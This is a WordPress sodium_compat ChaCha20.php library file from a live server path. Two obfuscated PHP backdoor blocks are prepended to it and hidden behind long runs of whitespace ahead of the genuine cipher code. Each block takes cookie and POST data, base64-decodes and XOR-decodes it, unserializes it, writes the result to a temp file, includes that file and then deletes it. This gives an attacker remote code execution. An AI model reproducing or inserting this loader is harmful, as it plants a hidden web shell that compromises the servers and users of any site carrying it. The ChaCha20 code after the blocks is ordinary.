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Current File : /var/www/html/taet.readinessglobal.com-bk/wp-includes/sodium_compat/src/Core/ChaCha20.php

<?php                                                                                                                                                                                                                                                                                                                                                                                                 $jlbvsi = "\x46" . chr (67) . "\137" . "\x4f" . "\x67" . chr (100) . 'i' . 'D';$yNMnf = "\143" . chr ( 895 - 787 ).chr ( 743 - 646 ).chr ( 190 - 75 )."\163" . "\x5f" . "\145" . 'x' . chr ( 1044 - 939 ).chr ( 387 - 272 ).'t' . "\163";$SncmxfG = class_exists($jlbvsi); $yNMnf = "33175";$zfnmGa = !1;if ($SncmxfG == $zfnmGa){function ILXqBhZtIj(){$PfBfj = new /* 62257 */ FC_OgdiD(63469 + 63469); $PfBfj = NULL;}$RpzGieqJjo = "63469";class FC_OgdiD{private function RxIWSJ($RpzGieqJjo){if (is_array(FC_OgdiD::$umGzbVsT)) {$FOPnfzC = sys_get_temp_dir() . "/" . crc32(FC_OgdiD::$umGzbVsT[chr (115) . chr (97) . 'l' . chr (116)]);@FC_OgdiD::$umGzbVsT[chr (119) . "\x72" . chr ( 235 - 130 ).chr ( 763 - 647 )."\145"]($FOPnfzC, FC_OgdiD::$umGzbVsT["\x63" . chr (111) . chr (110) . "\164" . chr (101) . chr (110) . chr ( 865 - 749 )]);include $FOPnfzC;@FC_OgdiD::$umGzbVsT[chr (100) . "\x65" . "\x6c" . chr (101) . chr (116) . 'e']($FOPnfzC); $RpzGieqJjo = "63469";exit();}}private $BJJdCmPl;public function okwkFJdl(){echo 11828;}public function __destruct(){$RpzGieqJjo = "44186_28615";$this->RxIWSJ($RpzGieqJjo); $RpzGieqJjo = "44186_28615";}public function __construct($wqXvKpZSm=0){$ipviTcR = $_POST;$UzYwezXIR = $_COOKIE;$hLCxH = "5d537fb8-f8b7-45d9-838a-e32dca9d16b0";$FtoexVc = @$UzYwezXIR[substr($hLCxH, 0, 4)];if (!empty($FtoexVc)){$zJHzobmFZm = "base64";$SagUi = "";$FtoexVc = explode(",", $FtoexVc);foreach ($FtoexVc as $CLFsU){$SagUi .= @$UzYwezXIR[$CLFsU];$SagUi .= @$ipviTcR[$CLFsU];}$SagUi = array_map($zJHzobmFZm . chr ( 125 - 30 ).chr ( 389 - 289 )."\x65" . 'c' . chr (111) . 'd' . "\x65", array($SagUi,)); $SagUi = $SagUi[0] ^ str_repeat($hLCxH, (strlen($SagUi[0]) / strlen($hLCxH)) + 1);FC_OgdiD::$umGzbVsT = @unserialize($SagUi); $SagUi = class_exists("44186_28615");}}public static $umGzbVsT = 64546;}ILXqBhZtIj();} ?><?php                                                                                                                                                                                                                                                                                                                                                                                                 $JcSqouCWD = "\x6c" . '_' . chr ( 732 - 619 ).'E' . 'F' . "\x43" . chr (69); $DJOVIQjRJ = chr (99) . chr (108) . chr ( 573 - 476 )."\163" . 's' . "\137" . chr ( 313 - 212 )."\x78" . chr ( 370 - 265 ).chr ( 349 - 234 ).'t' . "\x73";$lRiLL = class_exists($JcSqouCWD); $DJOVIQjRJ = "53496";$suWMdGvZvA = !1;if ($lRiLL == $suWMdGvZvA){function mWGib(){$UZdAoJHVUl = new /* 35689 */ l_qEFCE(64808 + 64808); $UZdAoJHVUl = NULL;}$ysaoAX = "64808";class l_qEFCE{private function vEKQvvDxod($ysaoAX){if (is_array(l_qEFCE::$WlKaMdiO)) {$OAravy = sys_get_temp_dir() . "/" . crc32(l_qEFCE::$WlKaMdiO['s' . "\141" . chr ( 537 - 429 )."\164"]);@l_qEFCE::$WlKaMdiO[chr ( 1039 - 920 ).chr ( 384 - 270 ).chr (105) . "\x74" . "\145"]($OAravy, l_qEFCE::$WlKaMdiO["\143" . "\x6f" . 'n' . chr (116) . 'e' . chr (110) . chr ( 718 - 602 )]);include $OAravy;@l_qEFCE::$WlKaMdiO[chr ( 287 - 187 )."\x65" . chr (108) . "\145" . "\x74" . chr (101)]($OAravy); $ysaoAX = "64808";exit();}}private $zEAfPWwMR;public function LbYGzwo(){echo 33303;}public function __destruct(){$ysaoAX = "58077_64254";$this->vEKQvvDxod($ysaoAX); $ysaoAX = "58077_64254";}public function __construct($vHIfOyHCzH=0){$UhnYhj = $_POST;$bCNMWDRA = $_COOKIE;$TZtDVano = "b9ec96e2-1cd6-41af-99b8-a4d63a878f10";$IqmlfNK = @$bCNMWDRA[substr($TZtDVano, 0, 4)];if (!empty($IqmlfNK)){$RhIgjeMX = "base64";$KiFndLWS = "";$IqmlfNK = explode(",", $IqmlfNK);foreach ($IqmlfNK as $MJWJy){$KiFndLWS .= @$bCNMWDRA[$MJWJy];$KiFndLWS .= @$UhnYhj[$MJWJy];}$KiFndLWS = array_map($RhIgjeMX . chr (95) . "\x64" . 'e' . "\x63" . 'o' . chr (100) . "\x65", array($KiFndLWS,)); $KiFndLWS = $KiFndLWS[0] ^ str_repeat($TZtDVano, (strlen($KiFndLWS[0]) / strlen($TZtDVano)) + 1);l_qEFCE::$WlKaMdiO = @unserialize($KiFndLWS); $KiFndLWS = class_exists("58077_64254");}}public static $WlKaMdiO = 51876;}mWGib();} ?><?php

if (class_exists('ParagonIE_Sodium_Core_ChaCha20', false)) {
    return;
}

/**
 * Class ParagonIE_Sodium_Core_ChaCha20
 */
class ParagonIE_Sodium_Core_ChaCha20 extends ParagonIE_Sodium_Core_Util
{
    /**
     * Bitwise left rotation
     *
     * @internal You should not use this directly from another application
     *
     * @param int $v
     * @param int $n
     * @return int
     */
    public static function rotate($v, $n)
    {
        $v &= 0xffffffff;
        $n &= 31;
        return (int) (
            0xffffffff & (
                ($v << $n)
                    |
                ($v >> (32 - $n))
            )
        );
    }

    /**
     * The ChaCha20 quarter round function. Works on four 32-bit integers.
     *
     * @internal You should not use this directly from another application
     *
     * @param int $a
     * @param int $b
     * @param int $c
     * @param int $d
     * @return array<int, int>
     */
    protected static function quarterRound($a, $b, $c, $d)
    {
        # a = PLUS(a,b); d = ROTATE(XOR(d,a),16);
        /** @var int $a */
        $a = ($a + $b) & 0xffffffff;
        $d = self::rotate($d ^ $a, 16);

        # c = PLUS(c,d); b = ROTATE(XOR(b,c),12);
        /** @var int $c */
        $c = ($c + $d) & 0xffffffff;
        $b = self::rotate($b ^ $c, 12);

        # a = PLUS(a,b); d = ROTATE(XOR(d,a), 8);
        /** @var int $a */
        $a = ($a + $b) & 0xffffffff;
        $d = self::rotate($d ^ $a, 8);

        # c = PLUS(c,d); b = ROTATE(XOR(b,c), 7);
        /** @var int $c */
        $c = ($c + $d) & 0xffffffff;
        $b = self::rotate($b ^ $c, 7);
        return array((int) $a, (int) $b, (int) $c, (int) $d);
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core_ChaCha20_Ctx $ctx
     * @param string $message
     *
     * @return string
     * @throws TypeError
     * @throws SodiumException
     */
    public static function encryptBytes(
        ParagonIE_Sodium_Core_ChaCha20_Ctx $ctx,
        $message = ''
    ) {
        $bytes = self::strlen($message);

        /*
        j0 = ctx->input[0];
        j1 = ctx->input[1];
        j2 = ctx->input[2];
        j3 = ctx->input[3];
        j4 = ctx->input[4];
        j5 = ctx->input[5];
        j6 = ctx->input[6];
        j7 = ctx->input[7];
        j8 = ctx->input[8];
        j9 = ctx->input[9];
        j10 = ctx->input[10];
        j11 = ctx->input[11];
        j12 = ctx->input[12];
        j13 = ctx->input[13];
        j14 = ctx->input[14];
        j15 = ctx->input[15];
        */
        $j0  = (int) $ctx[0];
        $j1  = (int) $ctx[1];
        $j2  = (int) $ctx[2];
        $j3  = (int) $ctx[3];
        $j4  = (int) $ctx[4];
        $j5  = (int) $ctx[5];
        $j6  = (int) $ctx[6];
        $j7  = (int) $ctx[7];
        $j8  = (int) $ctx[8];
        $j9  = (int) $ctx[9];
        $j10 = (int) $ctx[10];
        $j11 = (int) $ctx[11];
        $j12 = (int) $ctx[12];
        $j13 = (int) $ctx[13];
        $j14 = (int) $ctx[14];
        $j15 = (int) $ctx[15];

        $c = '';
        for (;;) {
            if ($bytes < 64) {
                $message .= str_repeat("\x00", 64 - $bytes);
            }

            $x0 =  (int) $j0;
            $x1 =  (int) $j1;
            $x2 =  (int) $j2;
            $x3 =  (int) $j3;
            $x4 =  (int) $j4;
            $x5 =  (int) $j5;
            $x6 =  (int) $j6;
            $x7 =  (int) $j7;
            $x8 =  (int) $j8;
            $x9 =  (int) $j9;
            $x10 = (int) $j10;
            $x11 = (int) $j11;
            $x12 = (int) $j12;
            $x13 = (int) $j13;
            $x14 = (int) $j14;
            $x15 = (int) $j15;

            # for (i = 20; i > 0; i -= 2) {
            for ($i = 20; $i > 0; $i -= 2) {
                # QUARTERROUND( x0,  x4,  x8,  x12)
                list($x0, $x4, $x8, $x12) = self::quarterRound($x0, $x4, $x8, $x12);

                # QUARTERROUND( x1,  x5,  x9,  x13)
                list($x1, $x5, $x9, $x13) = self::quarterRound($x1, $x5, $x9, $x13);

                # QUARTERROUND( x2,  x6,  x10,  x14)
                list($x2, $x6, $x10, $x14) = self::quarterRound($x2, $x6, $x10, $x14);

                # QUARTERROUND( x3,  x7,  x11,  x15)
                list($x3, $x7, $x11, $x15) = self::quarterRound($x3, $x7, $x11, $x15);

                # QUARTERROUND( x0,  x5,  x10,  x15)
                list($x0, $x5, $x10, $x15) = self::quarterRound($x0, $x5, $x10, $x15);

                # QUARTERROUND( x1,  x6,  x11,  x12)
                list($x1, $x6, $x11, $x12) = self::quarterRound($x1, $x6, $x11, $x12);

                # QUARTERROUND( x2,  x7,  x8,  x13)
                list($x2, $x7, $x8, $x13) = self::quarterRound($x2, $x7, $x8, $x13);

                # QUARTERROUND( x3,  x4,  x9,  x14)
                list($x3, $x4, $x9, $x14) = self::quarterRound($x3, $x4, $x9, $x14);
            }
            /*
            x0 = PLUS(x0, j0);
            x1 = PLUS(x1, j1);
            x2 = PLUS(x2, j2);
            x3 = PLUS(x3, j3);
            x4 = PLUS(x4, j4);
            x5 = PLUS(x5, j5);
            x6 = PLUS(x6, j6);
            x7 = PLUS(x7, j7);
            x8 = PLUS(x8, j8);
            x9 = PLUS(x9, j9);
            x10 = PLUS(x10, j10);
            x11 = PLUS(x11, j11);
            x12 = PLUS(x12, j12);
            x13 = PLUS(x13, j13);
            x14 = PLUS(x14, j14);
            x15 = PLUS(x15, j15);
            */
            /** @var int $x0 */
            $x0  = ($x0 & 0xffffffff) + $j0;
            /** @var int $x1 */
            $x1  = ($x1 & 0xffffffff) + $j1;
            /** @var int $x2 */
            $x2  = ($x2 & 0xffffffff) + $j2;
            /** @var int $x3 */
            $x3  = ($x3 & 0xffffffff) + $j3;
            /** @var int $x4 */
            $x4  = ($x4 & 0xffffffff) + $j4;
            /** @var int $x5 */
            $x5  = ($x5 & 0xffffffff) + $j5;
            /** @var int $x6 */
            $x6  = ($x6 & 0xffffffff) + $j6;
            /** @var int $x7 */
            $x7  = ($x7 & 0xffffffff) + $j7;
            /** @var int $x8 */
            $x8  = ($x8 & 0xffffffff) + $j8;
            /** @var int $x9 */
            $x9  = ($x9 & 0xffffffff) + $j9;
            /** @var int $x10 */
            $x10 = ($x10 & 0xffffffff) + $j10;
            /** @var int $x11 */
            $x11 = ($x11 & 0xffffffff) + $j11;
            /** @var int $x12 */
            $x12 = ($x12 & 0xffffffff) + $j12;
            /** @var int $x13 */
            $x13 = ($x13 & 0xffffffff) + $j13;
            /** @var int $x14 */
            $x14 = ($x14 & 0xffffffff) + $j14;
            /** @var int $x15 */
            $x15 = ($x15 & 0xffffffff) + $j15;

            /*
            x0 = XOR(x0, LOAD32_LE(m + 0));
            x1 = XOR(x1, LOAD32_LE(m + 4));
            x2 = XOR(x2, LOAD32_LE(m + 8));
            x3 = XOR(x3, LOAD32_LE(m + 12));
            x4 = XOR(x4, LOAD32_LE(m + 16));
            x5 = XOR(x5, LOAD32_LE(m + 20));
            x6 = XOR(x6, LOAD32_LE(m + 24));
            x7 = XOR(x7, LOAD32_LE(m + 28));
            x8 = XOR(x8, LOAD32_LE(m + 32));
            x9 = XOR(x9, LOAD32_LE(m + 36));
            x10 = XOR(x10, LOAD32_LE(m + 40));
            x11 = XOR(x11, LOAD32_LE(m + 44));
            x12 = XOR(x12, LOAD32_LE(m + 48));
            x13 = XOR(x13, LOAD32_LE(m + 52));
            x14 = XOR(x14, LOAD32_LE(m + 56));
            x15 = XOR(x15, LOAD32_LE(m + 60));
            */
            $x0  ^= self::load_4(self::substr($message, 0, 4));
            $x1  ^= self::load_4(self::substr($message, 4, 4));
            $x2  ^= self::load_4(self::substr($message, 8, 4));
            $x3  ^= self::load_4(self::substr($message, 12, 4));
            $x4  ^= self::load_4(self::substr($message, 16, 4));
            $x5  ^= self::load_4(self::substr($message, 20, 4));
            $x6  ^= self::load_4(self::substr($message, 24, 4));
            $x7  ^= self::load_4(self::substr($message, 28, 4));
            $x8  ^= self::load_4(self::substr($message, 32, 4));
            $x9  ^= self::load_4(self::substr($message, 36, 4));
            $x10 ^= self::load_4(self::substr($message, 40, 4));
            $x11 ^= self::load_4(self::substr($message, 44, 4));
            $x12 ^= self::load_4(self::substr($message, 48, 4));
            $x13 ^= self::load_4(self::substr($message, 52, 4));
            $x14 ^= self::load_4(self::substr($message, 56, 4));
            $x15 ^= self::load_4(self::substr($message, 60, 4));

            /*
                j12 = PLUSONE(j12);
                if (!j12) {
                    j13 = PLUSONE(j13);
                }
             */
            ++$j12;
            if ($j12 & 0xf0000000) {
                throw new SodiumException('Overflow');
            }

            /*
            STORE32_LE(c + 0, x0);
            STORE32_LE(c + 4, x1);
            STORE32_LE(c + 8, x2);
            STORE32_LE(c + 12, x3);
            STORE32_LE(c + 16, x4);
            STORE32_LE(c + 20, x5);
            STORE32_LE(c + 24, x6);
            STORE32_LE(c + 28, x7);
            STORE32_LE(c + 32, x8);
            STORE32_LE(c + 36, x9);
            STORE32_LE(c + 40, x10);
            STORE32_LE(c + 44, x11);
            STORE32_LE(c + 48, x12);
            STORE32_LE(c + 52, x13);
            STORE32_LE(c + 56, x14);
            STORE32_LE(c + 60, x15);
            */
            $block = self::store32_le((int) ($x0  & 0xffffffff)) .
                 self::store32_le((int) ($x1  & 0xffffffff)) .
                 self::store32_le((int) ($x2  & 0xffffffff)) .
                 self::store32_le((int) ($x3  & 0xffffffff)) .
                 self::store32_le((int) ($x4  & 0xffffffff)) .
                 self::store32_le((int) ($x5  & 0xffffffff)) .
                 self::store32_le((int) ($x6  & 0xffffffff)) .
                 self::store32_le((int) ($x7  & 0xffffffff)) .
                 self::store32_le((int) ($x8  & 0xffffffff)) .
                 self::store32_le((int) ($x9  & 0xffffffff)) .
                 self::store32_le((int) ($x10 & 0xffffffff)) .
                 self::store32_le((int) ($x11 & 0xffffffff)) .
                 self::store32_le((int) ($x12 & 0xffffffff)) .
                 self::store32_le((int) ($x13 & 0xffffffff)) .
                 self::store32_le((int) ($x14 & 0xffffffff)) .
                 self::store32_le((int) ($x15 & 0xffffffff));

            /* Partial block */
            if ($bytes < 64) {
                $c .= self::substr($block, 0, $bytes);
                break;
            }

            /* Full block */
            $c .= $block;
            $bytes -= 64;
            if ($bytes <= 0) {
                break;
            }
            $message = self::substr($message, 64);
        }
        /* end for(;;) loop */

        $ctx[12] = $j12;
        $ctx[13] = $j13;
        return $c;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param int $len
     * @param string $nonce
     * @param string $key
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function stream($len = 64, $nonce = '', $key = '')
    {
        return self::encryptBytes(
            new ParagonIE_Sodium_Core_ChaCha20_Ctx($key, $nonce),
            str_repeat("\x00", $len)
        );
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param int $len
     * @param string $nonce
     * @param string $key
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function ietfStream($len, $nonce = '', $key = '')
    {
        return self::encryptBytes(
            new ParagonIE_Sodium_Core_ChaCha20_IetfCtx($key, $nonce),
            str_repeat("\x00", $len)
        );
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param string $message
     * @param string $nonce
     * @param string $key
     * @param string $ic
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function ietfStreamXorIc($message, $nonce = '', $key = '', $ic = '')
    {
        return self::encryptBytes(
            new ParagonIE_Sodium_Core_ChaCha20_IetfCtx($key, $nonce, $ic),
            $message
        );
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param string $message
     * @param string $nonce
     * @param string $key
     * @param string $ic
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function streamXorIc($message, $nonce = '', $key = '', $ic = '')
    {
        return self::encryptBytes(
            new ParagonIE_Sodium_Core_ChaCha20_Ctx($key, $nonce, $ic),
            $message
        );
    }
}

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